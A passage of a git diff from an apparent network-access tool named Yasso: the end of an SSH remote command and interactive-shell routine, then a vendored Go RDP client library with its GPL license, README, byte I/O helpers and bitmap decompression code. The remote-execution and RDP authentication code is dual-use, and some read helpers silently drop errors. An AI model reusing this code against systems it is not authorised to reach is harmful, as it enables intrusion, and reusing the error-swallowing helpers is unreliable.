if err != nil { + logger.Fatal(fmt.Sprintf("[!] create shell failed %v", err)) + return + } + + go io.Copy(cmd.Stdin, os.Stdin) + go io.Copy(os.Stdout, cmd.Stdout) + go io.Copy(os.Stderr, cmd.Stderr) + cmd.Wait() + shell.Close() + } else { + _, err := client.Run(Command, os.Stdout, os.Stderr) + if err != nil { + logger.Fatal(fmt.Sprintf("[!] Execute Command failed %v", err)) + return + } + } +} diff --git a/pkg/grdp/LICENSE b/pkg/grdp/LICENSE new file mode 100644 index 0000000..20d40b6 --- /dev/null +++ b/pkg/grdp/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. \ No newline at end of file diff --git a/pkg/grdp/README.md b/pkg/grdp/README.md new file mode 100644 index 0000000..16cef68 --- /dev/null +++ b/pkg/grdp/README.md @@ -0,0 +1,29 @@ +# Golang Remote Desktop Protocol + +grdp is a pure Golang implementation of the Microsoft RDP (Remote Desktop Protocol) protocol (**client side authorization only**). + +Forked from icodeface/grdp + +## Status + +**The project is under development and not finished yet.** + +* [x] Standard RDP Authentication +* [x] SSL Authentication +* [x] NTLMv2 Authentication +* [ ] Client UI(ugly) +* [ ] VNC client(unfinished) + +## Example + +1. build in example dir on linux or windows +2. start example on port 8088 +3. http://localhost:8088 + +## Take ideas from + +* [rdpy](https://github.com/citronneur/rdpy) +* [node-rdpjs](https://github.com/citronneur/node-rdpjs) +* [gordp](https://github.com/Madnikulin50/gordp) +* [ncrack_rdp](https://github.com/nmap/ncrack/blob/master/modules/ncrack_rdp.cc) +* [webRDP](https://github.com/Chorder/webRDP) \ No newline at end of file diff --git a/pkg/grdp/core/io.go b/pkg/grdp/core/io.go new file mode 100644 index 0000000..bcb90ee --- /dev/null +++ b/pkg/grdp/core/io.go @@ -0,0 +1,131 @@ +package core + +import ( + "encoding/binary" + "io" +) + +type ReadBytesComplete func(result []byte, err error) + +func StartReadBytes(len int, r io.Reader, cb ReadBytesComplete) { + b := make([]byte, len) + go func() { + _, err := io.ReadFull(r, b) + //glog.Debug("StartReadBytes Get", n, "Bytes:", hex.EncodeToString(b)) + cb(b, err) + }() +} + +func ReadBytes(len int, r io.Reader) ([]byte, error) { + b := make([]byte, len) + length, err := io.ReadFull(r, b) + return b[:length], err +} + +func ReadByte(r io.Reader) (byte, error) { + b, err := ReadBytes(1, r) + return b[0], err +} + +func ReadUInt8(r io.Reader) (uint8, error) { + b, err := ReadBytes(1, r) + return uint8(b[0]), err +} + +func ReadUint16LE(r io.Reader) (uint16, error) { + b := make([]byte, 2) + _, err := io.ReadFull(r, b) + if err != nil { + return 0, nil + } + return binary.LittleEndian.Uint16(b), nil +} + +func ReadUint16BE(r io.Reader) (uint16, error) { + b := make([]byte, 2) + _, err := io.ReadFull(r, b) + if err != nil { + return 0, nil + } + return binary.BigEndian.Uint16(b), nil +} + +func ReadUInt32LE(r io.Reader) (uint32, error) { + b := make([]byte, 4) + _, err := io.ReadFull(r, b) + if err != nil { + return 0, nil + } + return binary.LittleEndian.Uint32(b), nil +} + +func ReadUInt32BE(r io.Reader) (uint32, error) { + b := make([]byte, 4) + _, err := io.ReadFull(r, b) + if err != nil { + return 0, nil + } + return binary.BigEndian.Uint32(b), nil +} + +func WriteByte(data byte, w io.Writer) (int, error) { + b := make([]byte, 1) + b[0] = byte(data) + return w.Write(b) +} + +func WriteBytes(data []byte, w io.Writer) (int, error) { + return w.Write(data) +} + +func WriteUInt8(data uint8, w io.Writer) (int, error) { + b := make([]byte, 1) + b[0] = byte(data) + return w.Write(b) +} + +func WriteUInt16BE(data uint16, w io.Writer) (int, error) { + b := make([]byte, 2) + binary.BigEndian.PutUint16(b, data) + return w.Write(b) +} + +func WriteUInt16LE(data uint16, w io.Writer) (int, error) { + b := make([]byte, 2) + binary.LittleEndian.PutUint16(b, data) + return w.Write(b) +} + +func WriteUInt32LE(data uint32, w io.Writer) (int, error) { + b := make([]byte, 4) + binary.LittleEndian.PutUint32(b, data) + return w.Write(b) +} + +func WriteUInt32BE(data uint32, w io.Writer) (int, error) { + b := make([]byte, 4) + binary.BigEndian.PutUint32(b, data) + return w.Write(b) +} + +func PutUint16BE(data uint16) (uint8, uint8) { + b := make([]byte, 2) + binary.BigEndian.PutUint16(b, data) + return uint8(b[0]), uint8(b[1]) +} + +func Uint16BE(d0, d1 uint8) uint16 { + b := make([]byte, 2) + b[0] = d0 + b[1] = d1 + + return binary.BigEndian.Uint16(b) +} + +func RGB565ToRGB(data uint16) (r, g, b uint8) { + r = uint8(uint32(data&0xF800)>>11) << 3 + g = uint8(uint32(data&0x07E0)>>5) << 2 + b = uint8(uint32(data&0x001F)) << 3 + + return +} diff --git a/pkg/grdp/core/io_test.go b/pkg/grdp/core/io_test.go new file mode 100644 index 0000000..b35083c --- /dev/null +++ b/pkg/grdp/core/io_test.go @@ -0,0 +1,19 @@ +package core_test + +import ( + "bytes" + "encoding/hex" + "testing" + + "Yasso/pkg/grdp/core" +) + +func TestWriteUInt16LE(t *testing.T) { + buff := &bytes.Buffer{} + core.WriteUInt32LE(66538, buff) + result := hex.EncodeToString(buff.Bytes()) + expected := "ea030100" + if result != expected { + t.Error(result, "not equals to", expected) + } +} diff --git a/pkg/grdp/core/rle.go b/pkg/grdp/core/rle.go new file mode 100644 index 0000000..402c6ac --- /dev/null +++ b/pkg/grdp/core/rle.go @@ -0,0 +1,854 @@ +package core + +import ( + "Yasso/pkg/grdp/glog" + "unsafe" +) + +func CVAL(p *[]uint8) int { + a := int((*p)[0]) + *p = (*p)[1:] + return a +} + +func CVAL2(p *[]uint8, v *uint16) { + *v = *((*uint16)(unsafe.Pointer(&(*p)[0]))) + //*v = binary.BigEndian.Uint16((*p)[0:2]) + //fmt.Println("*v:", *v) + *p = (*p)[2:] +} + +func REPEAT(f func(), count, x *int, width int) { + for (*count & ^0x7) != 0 && ((*x + 8) < width) { + for i := 0; i < 8; i++ { + f() + *count = *count - 1 + *x = *x + 1 + } + } + + for (*count > 0) && (*x < width) { + f() + *count = *count - 1 + *x = *x + 1 + } +} + +// /* 1 byte bitmap decompress */ +// func bitmap_decompress1(uint8 * output, int width, int height, uint8 * input, int size) bool{ +// uint8 *end = input + size; +// uint8 *prevline = NULL, *line = NULL; +// int opcode, count, offset, isfillormix, x = width; +// int lastopcode = -1, insertmix = false, bicolour = false; +// uint8 code; +// uint8 colour1 = 0, colour2 = 0; +// uint8 mixmask, mask = 0; +// uint8 mix = 0xff; +// int fom_mask = 0; + +// for (input < end){ +// fom_mask = 0; +// code = CVAL(input); +// opcode = code >> 4; +// /* Handle different opcode forms */ +// switch (opcode){ +// case 0xc: +// case 0xd: +// case 0xe: +// opcode -= 6; +// count = code & 0xf; +// offset = 16; +// break; +// case 0xf: +// opcode = code & 0xf; +// if (opcode < 9){ +// count = CVAL(input); +// count |= CVAL(input) << 8; +// }else{ +// count = (opcode < 0xb) ? 8 : 1; +// } +// offset = 0; +// break; +// default: +// opcode >>= 1; +// count = code & 0x1f; +// offset = 32; +// break; +// } +// /* Handle strange cases for counts */ +// if (offset != 0){ +// isfillormix = ((opcode == 2) || (opcode == 7)); +// if (count == 0){ +// if (isfillormix) +// count = CVAL(input) + 1; +// else +// count = CVAL(input) + offset; +// }else if (isfillormix){ +// count <<= 3; +// } +// } +// /* Read preliminary data */ +// switch (opcode){ +// case 0: /* Fill */ +// if ((lastopcode == opcode) && !((x == width) && (prevline == NULL))){ +// insertmix = true; +// } +// break; +// case 8: /* Bicolour */ +// colour1 = CVAL(input); +// case 3: /* Colour */ +// colour2 = CVAL(input); +// break; +// case 6: /* SetMix/Mix */ +// case 7: /* SetMix/FillOrMix */ +// mix = CVAL(input); +// opcode -= 5; +// break; +// case 9: /* FillOrMix_1 */ +// mask = 0x03; +// opcode = 0x02; +// fom_mask = 3; +// break; +// case 0x0a: /* FillOrMix_2 */ +// mask = 0x05; +// opcode = 0x02; +// fom_mask = 5; +// break; +// } +// lastopcode = opcode; +// mixmask = 0; +// /* Output body */ +// for (count > 0){ +// if (x >= width){ +// if (height <= 0) +// return false; +// x = 0; +// height--; +// prevline = line; +// line = output + height * width; +// } +// switch (opcode){ +// case 0: /* Fill */ +// if (insertmix){ +// if (prevline == NULL) +// line[x] = mix; +// else +// line[x] = prevline[x] ^ mix; +// insertmix = false; +// count--; +// x++; +// } +// if (prevline == NULL){ +// REPEAT(line[x] = 0) +// }else{ +// REPEAT(line[x] = prevline[x]) +// } +// break; +// case 1: /* Mix */ +// if (prevline == NULL){ +// REPEAT(line[x] = mix) +// }else{ +// REPEAT(line[x] = prevline[x] ^ mix) +// } +// break; +// case 2: /* Fill or Mix */ +// if (prevline == NULL){ +// REPEAT +// ( +// MASK_UPDATE(); +// 